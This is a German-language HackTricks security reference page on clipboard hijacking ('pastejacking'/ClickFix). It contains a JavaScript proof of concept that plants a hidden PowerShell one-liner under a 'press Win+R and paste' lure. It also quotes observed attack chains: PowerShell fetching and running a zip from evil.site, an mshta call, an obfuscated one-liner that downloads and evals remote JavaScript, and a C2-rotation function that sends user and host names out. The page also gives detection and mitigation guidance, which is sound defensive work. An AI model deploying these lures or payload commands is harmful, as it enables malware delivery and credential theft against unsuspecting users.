8.7 KiB
Clipboard Hijacking (Pastejacking) Attacks
{{#include ../../banners/hacktricks-training.md}}
"Füge niemals etwas ein, das du nicht selbst kopiert hast." – alter, aber immer noch gültiger Ratschlag
Überblick
Clipboard hijacking – auch bekannt als pastejacking – macht sich die Tatsache zunutze, dass Benutzer routinemäßig Befehle kopieren und einfügen, ohne sie zu überprüfen. Eine bösartige Webseite (oder jeder JavaScript-fähige Kontext wie eine Electron- oder Desktop-Anwendung) legt programmatisch angreiferkontrollierten Text in die Systemzwischenablage. Opfer werden in der Regel durch sorgfältig gestaltete Social-Engineering-Anweisungen dazu verleitet, Win + R (Ausführen-Dialog), Win + X (Quick Access / PowerShell) zu drücken oder ein Terminal zu öffnen und den Inhalt der Zwischenablage einzufügen (paste), wodurch sofort beliebige Befehle ausgeführt werden.
Da keine Datei heruntergeladen und kein Anhang geöffnet wird, umgeht die Technik die meisten E-Mail- und Web-Content-Sicherheitskontrollen, die Anhänge, Makros oder direkte Befehlsausführung überwachen. Der Angriff ist daher beliebt in Phishing-Kampagnen, die Commodity-Malware-Familien wie NetSupport RAT, Latrodectus loader oder Lumma Stealer ausliefern.
JavaScript Proof-of-Concept
<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
<button id="fix" onclick="copyPayload()">Fix the error</button>
<script>
function copyPayload() {
const payload = `powershell -nop -w hidden -enc <BASE64-PS1>`; // hidden PowerShell one-liner
navigator.clipboard.writeText(payload)
.then(() => alert('Now press Win+R , paste and hit Enter to fix the problem.'));
}
</script>
Ältere Kampagnen nutzten document.execCommand('copy')
, neuere setzen auf die asynchrone Clipboard API (navigator.clipboard.writeText
).
Der ClickFix / ClearFake-Ablauf
- Der Benutzer besucht eine typosquatted oder kompromittierte Seite (z. B.
docusign.sa[.]com
) - Injiziertes ClearFake JavaScript ruft einen
unsecuredCopyToClipboard()
Helper auf, der heimlich einen Base64-kodierten PowerShell-Einzeiler in die Zwischenablage speichert. - HTML-Anweisungen fordern das Opfer auf: “Drücken Sie Win + R, fügen Sie den Befehl ein und drücken Sie Enter, um das Problem zu beheben.”
powershell.exe
wird ausgeführt und lädt ein Archiv herunter, das eine legitime ausführbare Datei plus eine bösartige DLL enthält (klassisches DLL sideloading).- Der Loader entschlüsselt zusätzliche Stufen, injiziert Shellcode und installiert Persistenz (z. B. scheduled task) – führt schließlich NetSupport RAT / Latrodectus / Lumma Stealer aus.
Beispielhafte NetSupport RAT-Kette
powershell -nop -w hidden -enc <Base64>
# ↓ Decodes to:
Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
jp2launcher.exe
(legitimer Java WebStart) durchsucht sein Verzeichnis nachmsvcp140.dll
.- Die bösartige DLL löst APIs dynamisch mit GetProcAddress, lädt zwei Binaries (
data_3.bin
,data_4.bin
) über curl.exe herunter, entschlüsselt sie mithilfe eines rollierenden XOR-Keys"https://google.com/"
, injiziert den finalen Shellcode und entpackt client32.exe (NetSupport RAT) nachC:\ProgramData\SecurityCheck_v1\
.
Latrodectus Loader
powershell -nop -enc <Base64> # Cloud Identificator: 2031
- Lädt
la.txt
mit curl.exe herunter - Führt den JScript-Downloader in cscript.exe aus
- Holt eine MSI payload → legt
libcef.dll
neben einer signierten Anwendung ab → DLL sideloading → shellcode → Latrodectus.
Lumma Stealer über MSHTA
mshta https://iplogger.co/xxxx =+\\xxx
Der mshta-Aufruf startet ein verborgenes PowerShell-Skript, das PartyContinued.exe
abruft, Boat.pst
(CAB) extrahiert, AutoIt3.exe
mittels extrac32
und Datei-Konkatenation rekonstruiert und schließlich ein .a3x
-Skript ausführt, das browser credentials an sumeriavgv.digital
exfiltrates.
ClickFix: Clipboard → PowerShell → JS eval → Startup LNK with rotating C2 (PureHVNC)
Einige ClickFix-Kampagnen verzichten vollständig auf Dateidownloads und fordern Opfer auf, einen one‑liner einzufügen, der JavaScript via WSH abruft und ausführt, sich persistent macht und die C2 täglich rotiert. Beispiel beobachtete Kette:
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr
Hauptmerkmale
- Obfuskierte URL wird zur Laufzeit umgekehrt, um eine oberflächliche Inspektion zu verhindern.
- JavaScript sorgt für Persistenz über eine Startup LNK (WScript/CScript) und wählt den C2 nach dem aktuellen Tag aus – das ermöglicht schnelle Domain-Rotation.
Minimales JS-Fragment zur Rotation von C2s nach Datum:
function getURL() {
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
var current_datetime = new Date().getTime();
var no_days = getDaysDiff(0, current_datetime);
return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}
Die nächste Stufe setzt häufig einen Loader ein, der Persistenz herstellt und einen RAT (z. B. PureHVNC) nachlädt, oft wird TLS an ein hartkodiertes Zertifikat gebunden und der Traffic in Chunks aufgeteilt.
Erkennungsansätze speziell für diese Variante
- Prozessbaum:
explorer.exe
→powershell.exe -c
→wscript.exe <temp>\a.js
(odercscript.exe
). - Start‑Artefakte: LNK in
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
, die WScript/CScript mit einem JS‑Pfad unter%TEMP%
/%APPDATA%
aufruft. - Registry/RunMRU- und Kommandozeilen‑Telemetrie, die
.split('').reverse().join('')
odereval(a.responseText)
enthält. - Wiederholte
powershell -NoProfile -NonInteractive -Command -
Aufrufe mit großen stdin‑Payloads, um lange Skripte ohne lange Kommandozeilen zuzuliefern. - Geplante Tasks, die anschließend LOLBins wie
regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll"
ausführen, unter einem updater‑ähnlichen Task/Pfad (z. B.\GoogleSystem\GoogleUpdater
).
Threat Hunting
- Täglich rotierende C2-Hostnames und URLs mit dem Muster
.../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>
. - Korrelation von Clipboard‑Write‑Ereignissen, gefolgt von einem Win+R‑Einfügen und anschließender sofortiger Ausführung von
powershell.exe
.
Blue‑Teams können Clipboard‑, Prozess‑Erstellungs‑ und Registry‑Telemetrie kombinieren, um pastejacking‑Missbrauch zu lokalisieren:
- Windows-Registry:
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
enthält eine Historie der Win + R Befehle – auf ungewöhnliche Base64 / obfuskierte Einträge achten. - Security Event ID 4688 (Process Creation), bei dem
ParentImage
==explorer.exe
undNewProcessName
in {powershell.exe
,wscript.exe
,mshta.exe
,curl.exe
,cmd.exe
}. - Event ID 4663 für Dateierstellungen unter
%LocalAppData%\Microsoft\Windows\WinX\
oder in temporären Ordnern kurz vor dem verdächtigen 4688‑Ereignis. - EDR‑Clipboard‑Sensoren (falls vorhanden) – korrelieren Sie
Clipboard Write
, gefolgt unmittelbar von einem neuen PowerShell‑Prozess.
Gegenmaßnahmen
- Browser‑Härtung – Clipboard‑Schreibzugriff deaktivieren (
dom.events.asyncClipboard.clipboardItem
etc.) oder eine Benutzeraktion verlangen. - Security Awareness – Anwender schulen, sensible Befehle einzugeben oder sie zuerst in einen Texteditor einzufügen.
- PowerShell Constrained Language Mode / Execution Policy + Application Control, um beliebige One‑Liner zu blockieren.
- Netzwerk‑Kontrollen – ausgehende Anfragen zu bekannten pastejacking‑ und Malware‑C2‑Domains blockieren.
Verwandte Tricks
- Discord Invite Hijacking nutzt oft denselben ClickFix‑Ansatz, nachdem Benutzer in einen bösartigen Server gelockt wurden:
{{#ref}} discord-invite-hijacking.md {{#endref}}
Referenzen
- Fix the Click: Preventing the ClickFix Attack Vector
- Pastejacking PoC – GitHub
- Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder
{{#include ../../banners/hacktricks-training.md}}